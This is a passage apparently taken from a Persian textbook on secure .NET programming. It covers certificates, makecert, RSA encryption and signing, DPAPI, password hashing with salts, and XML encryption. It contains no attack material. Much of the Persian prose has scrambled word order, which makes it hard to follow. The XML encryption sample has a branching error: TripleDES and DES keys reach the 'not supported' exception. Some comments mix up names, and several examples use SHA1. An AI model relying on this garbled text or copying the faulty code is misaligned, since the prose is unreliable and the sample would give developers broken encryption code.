 IIS مدیریت در کارگزار نامهگواهی برای دسترسی به این قابلیت مسیر زیر را دنبال کنید: روی آیکون

(Server Certificatesکلیک کرده و ) یگزینه سپس « Create Self- Signed certificate » سمت منو از 

 را انتخاب کنید.  مدیریت افزارنرم راست

شود.  محافظت باید خصوصی است و عمومی کلید دو هر شامل که نامهگواهی یک متقارن، کلید یک همانند

 نظر در بدون نامهگواهیاین امر است. پایگاه  برای «هانامهگواهیپایگاه »به نام  مکانیسم یک دارای ویندوز

 کارت یک روی سخت، دیسک یک روی ذخیره مانند) است شده ذخیره آن در نامهگواهیجایی که  گرفتن

دهد. می هیارادهنده توسعه برای استاندارد رابط یک (خاص سازی های ذخیرهمکانیزم از برخی یا و هوشمند

سازی ذخیرهسازی کاربر. ذخیرهسازی دستگاه و سازی وجود دارد: ذخیرهذخیره یدر این پایگاه دو نوع نحوه

دستگاه  آن کاربرانی از چنینهم هستند و دستگاه در دسترس به طور کامل توسط که هایینامهگواهیدستگاه 

استفاده  ASP.NETهایی که توسط نامهگواهیدارد. می را دارند نگه نامهگواهیکه مجوز دسترسی به 

 کاربر یک برای که هایی استنامهگواهی شامل کاربر سازیگیرند. ذخیرهشوند، عموما در دستگاه قرار میمی

( MMCمایکروسافت ) مدیریت توانید از کنسولمی شما ها،نامهگواهیپایگاه  مدیریت برای. باشندمی خاص

 نشان داده شده است. زیراستفاده کنید. جزییات بیشتر در شکل  certmgr.msc به نام
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 نامهگواهي گاهیپا تیریمد: 3-7شکل 

های متعددی است اما سه قسمت از مشخص است، هر پایگاه دارای قسمت فوقکه در شکل  طورهمان

 :گیردمیآن بیشتر مورد استفاده قرار 

 Personal: استفاده برای مرتبط خصوصی کلید یک شخصی، هایهای موجود در پایگاهنامهگواهی 

 دارند.  امضای داده یا رمزگشایی در

 Other People: در استفاده برای عمومی کلید تنها های موجود در این قسمت،نامهگواهی 

 یک عنوان به و شودمی استفاده ایمیل امضای برای قسمت عموماً  را دارند. این هاداده رمزگذاری

 .کندمی عمل دیگر هایسیستم برای آدرس کتاب

 Trusted Root Certification Authorities این قسمت دربرگیرنده :CA هایی است که شما

 از اعم شده شناخته راجع برای هانامهگواهی ت همراه باسماید. این قآن را پذیرفته یهانامهگواهی

VeriSign با امضای خودتان ایجاد کرده و یا درخواست  نامهگواهیباشد. اگر شما یک می

را وارد  نامهگواهیتی به صورت دسممکن است لازم ناشناخته داشته باشید،  CAاز یک  نامهگواهی

 . کنیداین پایگاه 
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 بر با کلیک راست. تولید کنید آن از پشتیبان ینسخه یک همیشه ،کنیدمیایجاد  نامهگواهییک  که هنگامی

این کار را انجام  توانیدمی( Exportدر نهایت انتخاب خروجی ) و وظایف همه انتخاب ،نامهگواهی روی

 امن خروجی بگیرید، یک بار با کلید خصوصی)برای ذخیره در یک مکان نامهگواهیدهید. شما باید دوبار از 

 ها دارند( و یک بار بدون کلید خصوصیداده رمزگشایی به نیاز که هاییدستگاه تمام در وارد کردن برای و

  .ها دارند(داده رمزگشایی به نیاز فقط که هاییسیستم با تبادل )برای

 نامتقارن کلید از استفاده با پیام یک رمزنگاری 

 کلید و کلیدعمومی جفت یک) رمزنگاری و امضای آن از طریق کلید نامتقارن ینحوه بخش این در

 سناریو از رمزگذاری، فرآیند دادن نشان را توضیح خواهیم داد. برای  X.509 نامهگواهیاز  (خصوصی

 کنیم. استفاده می انکامر به اعتباری کارت شده در قبل برای ارسال اطلاعاتگفته

 است. این ابزار Makecert.exe مانند ابزار یک از ، استفادهنامهگواهی یک ایجاد برای راه ترینساده

برای  اما کند،تولید می آزموناهداف  برای خصوصی و عمومی کلید جفت یک با X.509 هاینامهگواهی

 Visual Studio commandرا از طریق  Makecert.exe توانیدمی . شمامقاصد نمایشی قابل قبول است

prompt  در زیرمنویTools یا  2010 استودیو در ویژوالDeveloper command prompt استودیو ویژوال 

 راه Makecert برای را به عنوان مدیر Visual Studio Command Promptاجرا کنید. شما باید  2012

  .کنید اند اجراآورده شده زیرکه در مثال  فرمان خط هایآرگومان را با ابزار این توانیدمی شما. اندازی کنید

makecert.exe -sr LocalMachine -ss My -a sha1 -n CN=Amir -sky exchange -pe  

makecert.exe -sr LocalMachine -ss My -a sha1 -n CN=Kamran -sky exchange -

pe   

 دهدمی نشان را .Makecert.exeتوسط تولیدشده نامهگواهی یمشاهده ینحوه زیر مراحل

 .(run boxاجرا ) یجعبه در MMC کردن تایپ با مایکروسافت مدیریت کنسول اجرای .1

 .Certificatesو سپس  Add.Removeسپس  File یگزینه انتخاب .2

 را برای local computerکامپیوتر  کاربریحساب آن از پس و کنید کلیک Add یروی گزینه .3

 انتخاب کنید. نامهگواهی مشاهده

 ایجاد Kamran و   Amirینامهگواهی دو. دهدمی نشان Makecert از دوبار اجرای را پس نتیجه زیرشکل 

استفاده  نامهگواهی این برای SHA1 الگوریتم جا ازخصوصی هستند. در این کلیدهای دارای دو هر و اندشده

 مشخص کردن بهتر است. با ،MD5 دیگر، یعنی یاز گزینه بوده و فرضپیش یگزینه که کرده ایم
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"exchange" سولیچ برای sky، که کنیممی حاصل اطمینان است، شده داده نشان فوقکه در  طورهمان 

 گیرند. امضا مورد استفاده قرار و هم رمزگذاری توانند هم برایمی هانامهگواهی

 

 MMCها در نامهگواهي: 4-7شکل 

 از استفاده را با اعتباری کارت اطلاعات حاوی توانیم پیاممی ایم،کرده ایجاد را لازم هاینامهگواهی که اکنون

 نامتقارن انجام دهیم، رمزگشایی و خواهیم رمزگذاریمی که جاآن رمزگذاری کنیم. از جدید ینامهگواهی

 الگوریتم عمومی است، استفاده کنیم. این کلید رمزنگاری برای الگوریتم که ،RSA الگوریتم از توانیممی

 سازی شده است. پیاده نتداتچارچوب  در RSACryptoServiceProviderتوسط کلاس 

که در  طورهماناست.  X.509 نامهگواهی یک دهنده نشان نتدات در X509Certificate2 کلاس .1

 قالباز تابعی با  X509Certificate2نشان داده شده است، برای ایجاد یک نمونه از کلاس ر زیمثال 

 ایم.ای استفاده کردهرشته

static class CertificateHelper 

{ 

    public static X509Certificate2 ToCertificate( this string 

subjectName, 

    StoreName name = StoreName.My, StoreLocation location = 

StoreLocation.LocalMachine) 

    { 

        X509Store store = new X509Store(name, location); 

        store.Open(OpenFlags.ReadOnly); 

        try 

        { 

            var cert = store.Certificates.OfType<X509Certificate2>() 

                        .FirstOrDefault(c => 

c.SubjectName.Name.Equals(subjectName, 

                            StringComparison.OrdinalIgnoreCase)); 

            return (cert != null) ? new X509Certificate2(cert) : null; 
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        } 

        finally 

        { 

         

store.Certificates.OfType<X509Certificate2>().ToList().ForEach(c=>c.Reset

());              

  store.Close(); 

        } 

    } 

} 

متقارن انجام  کلید را مانند روشی که برای "06/13 3456 ۹012 5678 1234"ی دادهدر قدم بعدی  .2

های جا استفاده از کلیدخوانده خواهد شد. در این کامرانکنیم. این داده توسط دادیم، رمزگذاری می

 کلید اما بدهد، افراد از بسیاری به را خود عمومی کلید تواندمی کامراناهمیت دارد.  کامرانعمومی 

برای  خصوصی از کلید به آن دسترسی دارد. او کامران تنها خود و است او پنهان خصوصی

اطمینان حاصل  ،کامران عمومی کلید از استفاده با. خواهد کرد استفاده ارسال شده پیام رمزگشایی

تواند داده را بخواند. که کلید خصوصی را داراست، فرد دیگری نمی ،کامرانکنیم که جز می

 ینامهگواهی عمومی کلید از فرستنده این است که نامتقارن کلید رمزگذاری از بخش ترینمهم

 خود نامهگواهی خصوصی کلید از استفاده با گیرنده کرده و رمزگذاری استفاده رایب گیرنده

 چگونگی رمزگذاری پیام آورده شده است.زیر . در مثال دهدمیرمزگشایی را انجام 

string dataToKamran = "1234 5678 9012 3456 06/13"; 

var cert = "CN=Kamran".ToCertificate(); 

var provider = (RSACryptoServiceProvider)cert.PublicKey.Key;  

// Note the use of public key 

byte[] cipherText = provider 

                       .Encrypt(Encoding.UTF8 

                           .GetBytes(dataToKamran), true); 

Console.WriteLine(Convert.ToBase64String(cipherText)); 

// What gets sent to Kamran is cipherText 

 .دهدمیرا نشان  Aliceاعتباری توسط  کارت اطلاعات دریافت و پیام چگونگی رمزگشاییزیر  مثال .3

// Kamran receives cipherText here 

// Kamran decrypts the cipherText using her private key 

var cert = "CN=Kamran".ToCertificate(); 

var provider = (RSACryptoServiceProvider)cert.PrivateKey; 

Console.WriteLine( 

    Encoding.UTF8.GetString( 

        provider.Decrypt(cipherText, true))); 

ها را در اختیار نامهگواهی دو هر خصوصی کلید رو این از و تولید شده دستگاه روی بر نامهگواهی دو هر

 کلید و یک عمومی کلید یک  CN=Amir نامهگواهی اما را در اختیار داریم نامهگواهی دو ما هر .داریم

 عمومی را دارد. کلید تنها CN=Kamran نامهگواهیخصوصی خواهد داشت. 
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 کلاس توسط تولیدشده نامتقارن کلید از استفاده با رمزگشایی و رمزگذاری توانمی

RSACryptoServiceProvider نامهگواهی یک از استفاده را بدون X.509 قبلی، بخش خلاف انجام داد. بر 

 خواهیم تنهامی حاضر حال در ،ردیمکاستفاده تولید  یبه همراه روش دقیق نحوه نامهگواهی دو آن در که

 دهد.را نمایش میچگونگی تولید کلیدها  زیرساده تولید کنیم. مثال  چیزهای داشتننگه برای کلید جفت یک

 6.14مثال 

string publicKey = String.Empty;  

string privateKey = String.Empty; 

using (RSACryptoServiceProvider rsa = new RSACryptoServiceProvider()) 

{ 

        publicKey = rsa.ToXmlString(false); 

        privateKey = rsa.ToXmlString(true); 

} 

اما نباید به  هستند، XML ساده متن قالب در  () ToXmlStringروش طریق از تولیدشده توجه: کلیدهای

 .شود استفاده key containerبه جای آن باید از یک  .کنید ذخیره سیستم را فایل هاآندلایل امنیتی 

System.Security.Cryptography.CspParameters د در استفاده از توانمیkey container یبرای ذخیره 

 ها به شما کمک کند.کلید

 .دهدمیچگونگی رمزگذاری و رمزگشایی آن را نمایش زیر مثال 

byte[] encryptedData = null; 

byte[] secretData = Encoding.UTF8.GetBytes("1234 5678 9012 3456 06/13"); 

// Sender's end 

using (RSACryptoServiceProvider rsa = new RSACryptoServiceProvider()) 

{ 

        rsa.FromXmlString(publicKey); // encrypt using public key 

        encryptedData = rsa.Encrypt(secretData, true); 

} 

// Receiver's end 

using (RSACryptoServiceProvider rsa = new RSACryptoServiceProvider()) 

{ 

        rsa.FromXmlString(privateKey); // decrypt using private key 

        

Console.WriteLine(Encoding.UTF8.GetString(rsa.Decrypt(encryptedData, 

true))); 

} 

 نامتقارن کلیدهای از استفاده با پیام امضای 

خواهیم به را بررسی کردیم،در ادامه می نامتقارن کلید از استفاده با رمزگشایی/  رمزگذاری جا چگونگیتا این

 کلید از استفاده با اطلاعات که است این کلید کاربرد به توجه با آن اصلی تفاوت. بحث امضا وارد شویم

 .شوندمیامضا  خصوصی
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در . کندامضای آن را بررسی می نامهگواهی عمومی کلید از استفاده با است، علی این مثال در که گیرنده،

برای ایجاد  از همین الگوریتم کهاین دلیل فرستیم، بهرا برای آن می SHA1 ها،زمان بررسی امضای داده

کدهای لازم برای امضای پیام توسط کلید خصوصی را  زیراستفاده کردیم. مثال  Makecertتوسط  نامهگواهی

 دهند.نشان می

byte[] dataFromAmir = Encoding.UTF8.GetBytes("Meet me in the town 

square"); 

var cert = "CN=Amir".ToCertificate(); 

  

var provider = (RSACryptoServiceProvider)cert.PrivateKey; // Note the use 

of private key here 

byte[] signatureOfAmir = provider.SignData(dataFromAmir, 

                                                

CryptoConfig.MapNameToOID("SHA1")); 

Console.WriteLine(Convert.ToBase64String(signatureOfAmir)); 

// What gets sent to Ali are the data and signature 

// dataFromAmir and signatureOfAmir  

 

 که داندنمی علیدهد. ها را نمایش میبرای بررسی صحت داده علی کدهای مورد استفاده توسط زیرمثال 

 کلید تنها کند. اواستفاده می CN=Amirنام عنوان  با نامهگواهیبنابراین از  از طرف چه کسی است، داده

 استفاده امضای آن مورد و اطلاعات بررسی منظور به که است چیزی این همان را دارد و نامهگواهیعمومی 

 گرفت. قرار خواهد

// Ali receives my data and signature here 

// dataFromAmir and signatureOfAmir 

  

// Ali validates the signature using my public key 

var cert = "CN=Amir".ToCertificate(); 

var provider = (RSACryptoServiceProvider)cert.PublicKey.Key;  

// Note the use of public key here 

if (provider.VerifyData(dataFromAmir, 

                            CryptoConfig.MapNameToOID("SHA1"), 

                                 signatureOfAmir)) 

    Console.WriteLine("Verified"); 

 DPAPI ویندوز از استفاده 

 از مراقبت که ویندوز دهید اجازه توانیدمی رسد، می نظر به سخت شده در بخش قبل خیلیموارد گفته  اگر

سیستم  ایپایه یک سرویس Windows Data Protection API (DPAPI) .کلیدها را به عهده بگیرد مدیریت

 the Local Security) عاملسیستمدر امن و توسط فرآیندهای دهدمیه یاراآن را  است که ویندوز

Authority (LSA)) شودمی مدیریت. 
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DPAPI کلاس از استفاده با ProtectedData نام فضای درSystem.Security.Cryptography  قابل دسترسی 

را  Protectتابع هاداده. برای رمزگذاری کردن کندمی را فراهم متقارن رمزنگاری و کلید مدیریت است و

را فراخوانی می کنیم. ورودی هریک از این توابع   Unprotectتابع هاآن فراخونی کرده و برای رمزگشایی

 عبارتند از: 

 برای کار روی آن هاداده بایتی از یآرایه یک. 

 بنابراین اگر) کندمی عمل اضافی کلید یک عنوان به که از آنتروپی اختیاری و بایتی یآرایه یک 

 .(شود رمزگشایی ذخیره برای انجام شده و تصادفی صورت رمزنگاری به باید ،شودمی استفاده

 دامنه یک 

 کهاینرا  دامنه پارامتر کاربر را دارد. و دستگاه یذخیره مفهوم نیز DPAPI ،نامهگواهی هایسرویس مانند

 که برای افزایش ابعاد آنتروپی . پارامتر اختیاریکندمی تعریف ،سازی باید مرتبط گرددکدام کلید از ذخیره

گذاشته اند  اشتراک را به DPAPI کلید که ییهابرنامهبه  ،شودمی استفاده سازیذخیرهدر پایگاه  اطلاعات

استفاده  LocalMachine دامنه باید ،IIS6 برای. دهدمییکدیگر را  از را خود اطلاعات مجزا کردن یاجازه

 بارگذاری برای برنامه لازم را در پیکربندیبوده و  CurrentUser یدامنه ، اگر کاربر باIIS7در  گردد.

 و رمزگذاری لازم برای توابع زیر پذیر است. کدامکانکاربر انجام داده باشید، این عمل  مشخصات

 .دهدمی نشان را DPAPI از استفاده با رمزگشایی

// This is an example of entropy. In a real application  

// it should be a cryptographically secure array of random data.  

private static byte[] entropy = {1, 3, 5, 7, 9, 11, 15, 17, 19}; 

static byte[] EncryptUsingDPAPI(byte[] clearText)  

{ 

     return ProtectedData.Protect( 

         clearText, 

         entropy, 

         DataProtectionScope.LocalMachine); 

} 

static byte[] DecryptUsingDPAPI(byte[] encryptedText)  

{ 

     return ProtectedData.Unprotect( 

         encryptedText, 

         entropy, 

         DataProtectionScope.LocalMachine); 

}  

این کار را انجام  DPAPIکنید چراکه  را مشخص الگوریتم یا شما کلید که نیست لازم بینید، می که طورهمان

 .دهدمی
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 با درهم سازی جامعیت حفظ 3-3-7

یکی از . شوداستفاده می داده از امن انگشت اثر یک هیارال برای که است رمزنگاری تابع یک سازی،درهم

 یایا  MD5الگوریتم  ها ازسایت از برخی .کنیدمی دانلود را هایی استفایل بررسی رایج آن برای کاربردهای

 یبرنامه یک اجرای . باکنندمییک فایل استفاده  Checksumارایه برای   (SHA)سازی امندرهمالگوریتم 

 که دانلود فایلی برابر است( در دسترس در http://beeblebrox.org که از HashTab مثال، برای) مناسب

نشده  خراب دانلود فرایند طول نکرده و در از زمان تولید تغییری فایل اطمینان حاصل کرد که توانمی شده،

 شده جایگزین شده منتشر بیت کنترلی شده و دانلود و فایل افتاده خطر به سایتوب یک اگر البته است.

 کند. گونه امنیتی را فراهم نمیهیچبیت کنترلی  ،باشند

 ویژگی است: چهار دارای سازیدرهم الگوریتم یک

 استفاده مورد الگوریتم به توجه با طول .شده و ثابت استشناختهدارای طول الگوریتم  خروجی 

 باشد.مینورودی  یهاداده اندازه تاثیرتحت حال، این با. است متفاوت

 همیشه یکسان است.سازی برای یک ورودی مشخص، درهم است. یعنی خروجی قطعی 

 شود بازسازی آن سازیدرهم مقدار از تواندنمی است. داده طرفه یک. 

 دو برای سازیدرهم الگوریتم یک است. اگر فرد به منحصر سازیخروجی درهم تقریبا هر 

 تابع هر در .رخ داده است «برخورد» داده، خروجی یکسان تولید کند، یک از متفاوت یمجموعه

 خطر باید خوب سازیدرهم الگوریتم یک حال، این با. دارد وجود برخورد خطر یک سازیدرهم

 بیت در یک ها تنهاورودی اگر حتی برساند، حداقل به های متفاوتخروجی تولید را با برخورد

 .اندکرده تغییر

 انتخاب الگوریتم درهم سازی 

 فراهم System.Security.Cryptography نام فضای سازی دردرهم الگوریتم چندین نتدات چارچوب

 خواهید متوجه اند. شماشده مشتق HashAlgorithm پایه کلاس های درهم سازی ازی کلاسهمه کند ومی

 بار که دو رسدمی نظر به SHA1Managed و SHA1CryptoProvider ها مانندالگوریتم از بعضی که شد

 هایی برایپوشش پذیرند،میپایان  CryptoProvider به هاآننام  هایی که. کلاساندسازی شدهپیاده

Windows Crypto API بههاآننام هایی که ، در حالی که کلاسهستند Managed به صورت پذیرد پایان می

کد  هاینسخه از ترسریع ملاحظه ای قابل طور به هاپوششسازی . پیادهاندسازی شدهکد مدیریت شده پیاده

 کد خواهیدمی کند. اگرایجاد می فرمپلت وابستگی به یک هاآن از استفاده حال، این با. است شده مدیریت

http://beeblebrox.org/


  نتنویسي امن در داتبرنامه 

234 

 

 
 

 هایکلاس از باید باشد،( را داشته CLRاجرا ) رایج زمان هایسایر زبان یا Mono به حمل قابلیت شما

  .کنید استفاده مدیریت

MD5 وSHA1 این از دو هر حال، این با هستند نویسانبرنامه استفاده مورد و اولتابع هایالگوریتم 

فعلی  هایشود. الگوریتم اجتناب هاآنممکن است باید از  که زمان باید هر ضعفی دارند و نقاط هاالگوریتم

 آسان بسیار سازیدرهم یک ایجاد نت،دات نام دارند. با SHA512 و SHA256 شودمی که بیشتر توصیه

 را ایجاد کرده و تابع خود موردنظر الگوریتم برای کلاس از نمونه یک توانیدمی سادگی به. است

ComputeHash تابع . را فراخوانی کنیدComputeHash  داده ای  گیرد و آنورودی می پارامتر یک تنها

 ،آمده دست به هم خروجی و ورودی داده ی آن انجام شود. هم برای درهم سازی خواهیدمی شما که است

کلاس رمزگذاری را   System.Text، فضای نامکنیدمیها کار رشته با شما اگر. هستند بایت نوع آرایه ای از

 ورودی برای را صحیح رمزگذاری . در ابتدا بایدکندمیفراهم کرده که در انجام عمل تبدیل به شما کمک 

 شما بود، UTF8 قالبدر  رشته اگر مثال، برای. را فراخوانی کنید ()GETBYTES و کرده انتخاب خود

 استفاده کنید. Encoding.UTF8.GetBytes(data)از  توانیدمی

استفاده  ورودی سازی شده روی رشتهدرهم یک محاسبه برای SHA256 الگوریتم از زیر کد قطعه .1

 ی خودتان امتحان کنید.هادادهاین کد را روی  توانیدمیاکنون  کرده است.

private string CalculateSHA256Hash(string input)  

{      

    // Encode the input string into a byte array. 

    byte[] inputBytes = Encoding.UTF8.GetBytes(input);     

    // Create an instance of the SHA256 algorithm class 

    // and use it to calculate the hash. 

    SHA256Managed sha256 = new SHA256Managed(); 

    byte[] outputBytes = sha256.ComputeHash(inputBytes);     

    // Convert the outputed hash to a string and return it. 

    return Convert.ToBase64String(outputBytes);  

} 

  () ComputeHash سازی شده تولید کنید، روشها یک مقدار درهمتمایل دارید برای فایل اگر .2

 برای توانیدمی شما. به عنوان ورودی بپذیرید را بایت مقدار یک جای به Stream یک تواندمی

برای  .کنید استفاده اند از این روششده ذخیره کارگزار روی که خود هایدر فایل تغییرات تشخیص

موردنظر را دوباره درهم سازی کرده و با  یرشته توانیدمیسازی شده، درهم رشته یک اعتبارسنجی

 یبا رشته محاسبه یشدهسازیدرهمرشته  اگر اولیه مقایسه کنید. یشدهسازیدرهم  یرشته

اند، ایجاد شدهها از طریق آن این رشته از ای کهداده هستند، متفاوت اصلی یشدهسازیدرهم
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 کردید، آن محاسبه برای سازی رادرهم مقدار دانلود و را فایل یک اگر مثال، عنوان متفاوت است. به

 در است فایل است،در نتیجه ممکن متفاوت دانلود متوجه شدید که با فایل موجود درصفحه اما

 است ممکن یا شد وبا شده جایگزین مهاجم یک توسط است ممکن باشد، شده خراب فرآیند انتقال

 .باشد شده جایگزین Web Master توسط

است. در نتیجه  طرفه یک دانید کهمی باشید داشته یاد به ران یمطم سازیدرهم الگوریتم یک هایویژگی اگر

 قابلیت سازی شده بازسازی شوند. اینتوانند از طریق رشته درهماند، نمیسازی شدهدرهم که هاییداده

به جای  توانیدمی شما .باشد ی عبورکلمه سازی سازی روشی عالی برای ذخیرهکه درهم شودمی باعث

هنگام  سازی شده حاصل از آن را ذخیره کنید. سپس دردرهم ی، رشتهی عبورکلمهذخیره مستقیم 

شده برای آن را محاسبه و با مقدار سازیدرهمکاربر را دریافت کرده، مقدار  ی عبورکلمه اعتبارسنجی

 کند،سازی برای یک رشته مشخص همیشه یک مقدار تولید میدرهم که جاآن شده مقایسه کنید. ازذخیره

 سنجی خواهد بود. اعتبار از عبور به قادر تولید کند را صحیح ی عبورکلمه که کاربر یک فقط

شما به خطر افتاده یا  ی عبورکلمه نکنید. چرا که اگر به صورت رشته مشخص ذخیره را ی عبورکلمه هرگز

خود  کاربران از خصوصی حریم حفظ در برابر ورودهای جعلی، شکایت شدت به آن از پس به سرقت برود،

رمزنگاری  از بهتر ی عبورکلمهسازی پذیر خواهید بود. درهمکشورها آسیب از برخی در دادخواهی حتی یا و

آن  کشف و ی عبورکلمه رمزگشایی بیافتد، خطر به اینترنتی ی عبورکلمه اگر که، تاس این دلیل. است آن

توان سازی یک روش یک طرفه است و عموما نمیکه پیش از این گفته شد، درهم طورهماناست. اما  ممکن

 درهم سازی شده استخراج کرد. یاولیه را از رشته یرشته

 الگوریتم یک که جاآن از. نیست هم به این سادگیسازی شده درهم ی عبورکلمهذخیره کردن  حال، این با

 یهارشته از یک لیست توانمی، (یکسان هایورودی برای مشابه نتایج تولید) است سازی قطعیدرهم

 هر برای سازی شدههای درهمرشته از دادهپایگاه یک تولید مثال، برای)رایج تولید کرد  سازی شدهدرهم

 بار با یک حال، این با. است توجه قابل لیست این تولید برای لازم اولیه زمان (.لغت فرهنگ یک در کلمه

  .است ساده مراجعات بعدی بسیار تولید،

باشد. جدول رنگین کمان می کمان رنگین جداولحملات  معرض در نیز خام یشدهسازیدرهمهای رشته

و فضای بسیار زیاد لازم برای  سازیهای درهمرشته محاسبهپیشنیاز به  بین تعادلروشی برای ایجاد 

  سازی شده است.های درهمسازی دیکشنری از رشتهذخیره
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 یک از استفاده مشکلات، این بدونبه  حتی. کنندمی پذیرامکان سازی رادرهم علیه حملات هاروش این

شده سازیدرهم ی عبورکلمهمشابه،  عبوری کلمه با کاربر چند یا دو که است معنی بدان خام سازیدرهم

 اطلاعات است. مشابهی خواهند داشت و این بیانگر نشت

افزودن  شامل  salting. شودمیشناخته   salting عنوان به ضعف نقاط این از اجتناب برای استاندارد روش

است.  ی عبورکلمه و( تصادفی مقدار یک) saltشده، توسط ترکیب یک سازیدرهمرمزعبورهای  نظمی بهبی

 ذخیره شدهسازیدرهم ی عبورکلمه د باتوانمینیست، درنتیجه  داشتن این مقدار تصادفینیازی به مخفی نگه 

شده که سازیدرهمجستجوهای  از دیکشنری یک که به معنی این است ی عبورکلمهو  salt گردد. ترکیب

گیرد. کنیم که این عمل مقدار قابل توجهی زمان و فضا میایجاد  شود،تولید می saltبرای هر مقدار ممکن 

اثر  کمان رنگین جدول حمله یک برای شده صرف زمان بر مستقیم طور به saltمقدار  پیییدگی و طول

 هر موفق نیاز است. برای یحمله یک برای زمان بیشتری تر باشد،پیییده تروگذارد، هرچه طولانیمی

 معنی بدان جدید salt از استفاده. کنید استفاده جدید salt مقدار از یک باید ،کنیدمیسازی مقداری که درهم

 .باید ایجاد شود شده ذخیره ی عبورکلمه هر برای جدید دیکشنری یک که است

 

 رمزگذاری برای لیستچک یک 4-3-7

 آورده شده است: افزارنرم برای رمزگذاری مکانیزم یک انتخاب هنگام لازم به اقلام از لیستچک یک زیر در

 را  یک داده باید شما یبرنامه اگر. نمایید انتخاب براساس وضعیت خود مناسب روش یک

 سیستم با یک شما یبرنامه اگر متقارن انتخاب کنید و الگوریتم یک رمزگشایی کند، و رمزگذاری

 کنید. انتخاب را نامتقارن الگوریتم یک خارجی در ارتباط است،

  در تغییرات تشخیص برای . رمزگذاریهای خود استفاده کنیدجامعیت برای دادهاز بررسی مناسب 

 تشخیص برای مکانیسم به یک است ممکن نشده رمزگذاری هایداده حتی. نیست کافی هاداده

استفاده کنید تا  نامهگواهی امضای یا و MACs سازی،درهمهای روش از. داشته باشند نیاز تغییرات

 است را به شما بدهد.  کرده تغییر هاداده که ، زمانیهادهدا قابلیت بررسی

 به حساب شکننده  حاضر حال در هاالگوریتم از برخی. کنید انتخاب دقت با را خود الگوریتم

های قبل های توصیه شده در بخشبه سادگی قابل شکستن هستند. از الگوریتم یا و آیندمی
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(SHA256 یا SHA512 و سازیدرهم برای AES با توجه به وضعیت  رمزنگاری برای )متقارن

 خود استفاده کنید.

 اطلاعاتتان نیز در معرض خطر  بیافتد، خطر شما به کلیدهای اگر کنید. محافظت خود کلیدهای از

به  دسترسی شدت به ذخیره و شده رمزگذاری هایداده از جداگانه طور به کلیدها را قرار می گیرند.

 و هاکلید از ایو جداگانه پشتیبان امن یک که کنید حاصل اطمینان. کنید کنترل را هاآن

 .ایدهخود تهیه کرد هاینامهگواهی

 شودها ثابت میالگوریتمناامنی  زمان، گذشت ریزی کنید. باالگوریتم برنامه تغییرات برای .

 را در نظر بگیرید. ترهای قدیمیتغییر الگوریتم و پشتیبانی از داده یکنید و نحوه ریزیبرنامه

 XMLایمني اسناد  4-7

XML رمزگذاری  استاندارد. امضا دارد و رمزنگاری برای را خود استانداردXML (XMLEnc چگونگی )

به آدرس  توانیدمی. برای اطلاعات بیشتر کندمی رمزگذاری سند و تعویض کلیدهای رمزگذاری را مشخص

http://www.w3.org/TR/xmlenc - core/  امضای کنید. استانداردمراجعهXML   (XMLDsig )توانیدمی 

 بیابید. /http://www.w3.org/TR/xmldsig - core در آدرس

XML گواهی با توانمی را X509 گواهی با وکرد  امضا نامتقارن کلید یا X509، یک یا مشترک و کلید یک 

توسط چه کسی  کهاینیا  XML سند رمزگذاری تغییر یک حال، این رمزگذاری کرد. با نامتقارن کلید

 کند.کند. یک امضای دیجیتال این امر را فراهم میرمزگذاری شده است را مشخص نمی

 نیز اعمال XML برای رمزگذاری عموماً شود،اعمال می رمزنگاری هایسیستم به هایی کههمان دستورالعمل

 .هاآنبرای  مناسب شرایط و الگوریتم کلید، طول انتخاب جمله ، ازشودمی

 XMLاد سنرمزگذاری ا 1-4-7

شده باشند.  رمزگذاری خاصی از آن یا عناصر سند کل است ممکن ،شودمیرمزگذاری  XML که هنگامی

مورد  الگوریتم نوع مورد در اطلاعاتی حاوی نیز XMLEnc سند یک شده، رمزگذاری XML بر علاوه

 های لازم برای توابعارجاع به کلیدهای رمزگذاری است. کلاس چنینهماستفاده برای رمزگذاری سند و 

 اسمبلی از بخشی که ،System.Security.Cryptography.Xml نام فضای در XML رمزنگاری

System.Security .است، قرار دارند 
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 XML با رمزنگاری متقارن کلید یک از استفاده 

 و رمزگذاری یکسان برای کلید از باید رمزگذاری، در (AES)مانند  متقارن الگوریتم یک از استفاده هنگام

 بخش باید روی کلیدها و الگوریتم مورد استفاده به توافق برسند. به هر دو و کنید ها استفادهداده رمزگشایی

مناسب  کنیدمیداده استفاده  رمزگشایی و رمزگذاری برای واحد برنامه این روش زمانی که از یک کلی، طور

برای این . دهدمی سند را نشان یک در XML عنصر یک رمزگذاری برای مناسب روش یک زیر مثال .است

متقارن لازم  الگوریتم یک از شدهشناخته ینمونه یک و موردنظر برای رمزگذاری عنصر ،XMLسند  یک کار

 .است

public static void Encrypt(XmlDocument document, 

     string elementNameToEncrypt, 

     SymmetricAlgorithm algorithm) 

{ 

     // Check the arguments. 

     if (document == null) 

        throw new ArgumentNullException("document"); 

     if (elementNameToEncrypt == null) 

         throw new ArgumentNullException("elementNameToEncrypt"); 

     if (algorithm == null) 

         throw new ArgumentNullException("key");     

    // Extract the element to encrypt. 

     XmlElement elementToEncrypt = 

         document.GetElementsByTagName( 

             elementNameToEncrypt)[0] 

         as XmlElement; 

     if (elementToEncrypt == null) 

         throw new XmlException( 

            "The specified element was not found");     

     // Encrypt the xml element 

     EncryptedXml eXml = new EncryptedXml(); 

     byte[] encryptedElement = 

         eXml.EncryptData(elementToEncrypt, 

                          algorithm, false);     

     // Now build a representation of the encrypted data. 

     EncryptedData encryptedData = 

         new EncryptedData 

             { 

                    Type = EncryptedXml.XmlEncElementUrl 

             }; 

    

     // Work out the algorithm used so we can embed it 

     // into the document. 

     string encryptionMethod = null; 

     if (algorithm is TripleDES) 

         encryptionMethod = EncryptedXml.XmlEncTripleDESUrl; 

     else if (algorithm is DES) 

         encryptionMethod = EncryptedXml.XmlEncDESUrl; 

     if (algorithm is Rijndael) 
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     { 

         switch (algorithm.KeySize) 

         { 

             case 128: 

                 encryptionMethod = EncryptedXml.XmlEncAES128Url; 

                 break; 

             case 192: 

                 encryptionMethod = EncryptedXml.XmlEncAES192Url; 

                 break; 

             case 256: 

                 encryptionMethod = EncryptedXml.XmlEncAES256Url; 

                 break; 

         } 

     } 

     else 

     { 

         // Throw an exception if the transform 

         //is not in the previous categories 

         throw new CryptographicException( 

            "Specified algorithm is not supported"); 

     } 

     encryptedData.EncryptionMethod = 

         new EncryptionMethod(encryptionMethod);     

     // Add the encrypted element data to the 

     // EncryptedData object. 

     encryptedData.CipherData.CipherValue = encryptedElement; 

     // Replace the original element with the encrypted data  

     // and algorithm information 

     EncryptedXml.ReplaceElement( 

         elementToEncrypt, encryptedData, false);  

} 

